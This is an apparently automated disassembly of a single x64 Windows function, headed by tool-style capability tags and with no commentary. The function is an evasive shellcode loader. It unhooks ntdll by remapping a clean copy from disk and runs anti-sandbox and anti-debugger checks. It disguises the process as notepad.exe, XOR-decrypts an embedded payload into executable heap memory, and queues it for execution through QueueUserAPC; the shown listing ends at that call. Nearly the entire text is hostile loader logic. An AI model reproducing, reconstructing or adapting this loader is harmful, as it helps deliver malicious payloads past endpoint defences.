Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x8f0
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x860], xmm6
mov dword [rbp + 0x890], ecx
mov qword [rbp + 0x898], rdx
call fcn.140002c20
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
jne 0x140001533
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
mov dword [rbp + 0x7dc], 0
mov ecx, 0x3dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
mov dword [rbp + 0x854], 0
jmp 0x14000163e
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x7dc], edx
mov edx, dword [rbp + 0x7dc]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x7dc], eax
cmp dword [rbp + 0x7dc], 0x168
jle 0x1400015c4
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001637
cmp dword [rbp + 0x7dc], 0
jns 0x1400015f1
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001637
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7dc]
movsd xmm0, qword [0x140006618]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006620]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0xf6
jle 0x14000155d
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x858], 0
je 0x140001ac6
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
mov rax, qword [rbp + 0x7e0]
mov r10, qword [rbp + 0x858]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x7a0], rax
mov word [rbp + 0x852], 0
jmp 0x140001aae
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x852]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a9d
mov dword [rbp + 0x5d8], 0
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0x40c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov ecx, 0x40c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov ecx, 0x40c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov ecx, 0x40c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x848], 0x102
mov dword [rbp + 0x84c], 0
jmp 0x140001929
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x788]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x102
jle 0x140001896
mov dword [rbp + 0x84c], 0
jmp 0x1400019c8
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x780]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x778]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x848], 1
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x102
jle 0x140001948
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5d8]
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x852]
add eax, 1
mov word [rbp + 0x852], ax
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x852], ax
jb 0x140001797
mov dword [rbp + 0x844], 0
jmp 0x140001b13
call sub.msvcrt.dll_rand
imul eax, eax, 0x92
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006628]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003e40
movq rax, xmm0
mov qword [rbp + 0x628], rax
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x395
jle 0x140001ad2
mov dword [rbp + 0x83c], 1
jmp 0x140001bdb
mov dword [rbp + 0x840], 0
mov eax, dword [rbp + 0x83c]
mov dword [rbp + 0x838], eax
jmp 0x140001bb1
mov edx, dword [rbp + 0x838]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x630], edx
mov eax, dword [rbp + 0x630]
imul eax, eax
imul eax, dword [rbp + 0x630]
add dword [rbp + 0x840], eax
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x838], eax
cmp dword [rbp + 0x838], 0
jne 0x140001b46
mov eax, dword [rbp + 0x840]
cmp eax, dword [rbp + 0x83c]
jne 0x140001bd4
mov eax, dword [rbp + 0x83c]
mov dword [rbp + 0x634], eax
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x27a
jle 0x140001b2e
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x7f0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x834], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x828], xmm0
add dword [rbp + 0x834], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x834]
movsd xmm0, qword [0x140006630]
addsd xmm0, xmm1
mov rax, qword [0x140006638]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004010
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x834]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006630]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x828]
addsd xmm0, xmm1
movsd qword [rbp + 0x828], xmm0
cmp dword [rbp + 0x834], 0x375
jle 0x140001c2c
movsd xmm1, qword [rbp + 0x828]
movsd xmm0, qword [0x140006640]
mulsd xmm0, xmm1
movsd qword [rbp + 0x828], xmm0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x5dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x770]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x3c
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x768]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x760], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x758]
mov r9d, 0x3000
mov r8d, 0x2d1
mov edx, 0
call rax
mov qword [rbp + 0x760], rax
cmp qword [rbp + 0x760], 0
je 0x140002b4c
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140002b4c
mov rax, qword [rbp + 0x750]
mov edx, 0x5f3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x74c], eax
mov dword [rbp + 0x5d4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5d4]
mov r8, qword [rbp + 0x740]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5d4]
cmp eax, 1
je 0x140002b4c
mov qword [rbp + 0x738], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1da9a80
mov ecx, 0
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x140002b4c
mov rax, qword [rbp + 0x738]
mov edx, 0x1da9a80
mov rcx, rax
call fcn.140004c00
mov rax, qword [rbp + 0x738]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x72c], 0x334
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x71c], eax
mov eax, dword [rbp + 0x72c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x718], eax
mov eax, dword [rbp + 0x718]
sub eax, dword [rbp + 0x71c]
cmp eax, 0x302
jbe 0x140002b4c
mov dword [rbp + 0x714], 0x32e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov eax, dword [rbp + 0x714]
mov r8, qword [rbp + 0x708]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x2fc
jbe 0x140002b4c
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
jne 0x140002b4c
mov qword [rbp + 0x6e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x3000
mov r8d, 0x473
mov edx, 0
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140002b4c
mov dword [rbp + 0x6dc], 0x2b2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c4], eax
mov eax, dword [rbp + 0x6dc]
mov r8, qword [rbp + 0x6d0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c0], eax
mov eax, dword [rbp + 0x6c0]
sub eax, dword [rbp + 0x6c4]
cmp eax, 0x280
jbe 0x140002b4c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
jne 0x140002b4c
mov dword [rbp + 0x824], 0xffffffff
add dword [rbp + 0x824], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x343
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006628]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003e40
movq rax, xmm0
mov qword [rbp + 0x6a8], rax
cmp dword [rbp + 0x824], 0x243
jle 0x140002229
lea rax, [rbp + 0x100]
lea rdx, [0x140006148]
mov ecx, 0x99
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x6a0]
mov r8d, 0
mov edx, 0x4cb
mov ecx, 0x40000
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov r9, qword [rbp + 0x698]
mov r8d, 0x4cb
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x688]
mov r9, qword [rbp + 0x680]
mov r8d, 0x4cb
mov rcx, rax
call r9
mov dword [rbp + 0x820], 0
jmp 0x1400023f0
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x640], eax
mov ecx, dword [rbp + 0x640]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
sub edx, eax
mov dword [rbp + 0x640], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006628]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x640]
movq xmm0, rax
call fcn.140003d70
movq rax, xmm0
mov qword [rbp + 0x638], rax
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x22b
jle 0x140002372
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x814], 0
movabs rax, 0x7bc49668bfabebed
movabs rdx, 0xc1c2dce225d44332
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xb258a57788caa6fe
movabs rdx, 0xecb2b614f14e649f
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x9930111693fc0eb8
movabs rdx, 0xc71a77513b757f25
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x2546049ef4cd8d9c
movabs rdx, 0xbcb0622db4b99dc2
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x27963ff0353b18a6
movabs rdx, 0xf1f63a743026813e
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xdf5778305037f2be
movabs rdx, 0x30d9a4c2d61b20b4
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x18f0a2b07536767
movabs rdx, 0xeb9c448749f719c2
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xd26535eb9c448749
movabs rdx, 0x462f3501c45ebd
mov qword [rbp + 0xeb], rax
mov qword [rbp + 0xf3], rdx
pxor xmm0, xmm0
movss dword [rbp + 0x80c], xmm0
mov dword [rbp + 0x810], 0
jmp 0x1400025b5
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x810]
movsd xmm0, qword [0x140006630]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006648]
movd xmm0, eax
call fcn.140003c10
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x810]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006630]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x80c]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x80c], xmm0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x230
jle 0x14000253c
movss xmm1, dword [rbp + 0x80c]
movss xmm0, dword [0x14000664c]
mulss xmm0, xmm1
movss dword [rbp + 0x80c], xmm0
movabs rax, 0x82fc3808d91cc173
movabs rdx, 0xaa71b50160e5602
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x5a680815ad4bfe8d
movabs rdx, 0x83d7fb984586f602
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xffbcee3982dde218
movabs rdx, 0x2f911cec590955d3
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x1abcfd84e12f91
mov qword [rbp - 0x12], rax
mov dword [rbp + 0x81c], 0
jmp 0x1400026c8
cmp dword [rbp + 0x818], 0x34
jne 0x14000268f
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x818], 0
jmp 0x1400026c1
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax], dl
add dword [rbp + 0x818], 1
add dword [rbp + 0x81c], 1
mov eax, dword [rbp + 0x81c]
cmp eax, 0x79
jbe 0x14000264f
mov dword [rbp + 0x81c], 0
jmp 0x140002912
cmp dword [rbp + 0x814], 0x79
jne 0x1400028c6
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
mov ecx, 0x8cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x800], 0
jmp 0x1400027d0
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x800]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x808], eax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x232
jle 0x140002762
mov dword [rbp + 0x800], 0
jmp 0x140002858
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x804]
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x644]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006650]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004010
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x804], eax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x232
jle 0x1400027e8
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x804]
movss xmm1, dword [0x140006658]
divss xmm0, xmm1
movss dword [rbp + 0x64c], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x64c]
movq rax, xmm4
movq xmm0, rax
call fcn.140003c30
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x648], xmm0
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x814], 0
jmp 0x14000290b
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x814], 1
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x4ca
jle 0x1400026e6
mov rax, qword [rbp + 0x688]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x670]
mov r8d, 0
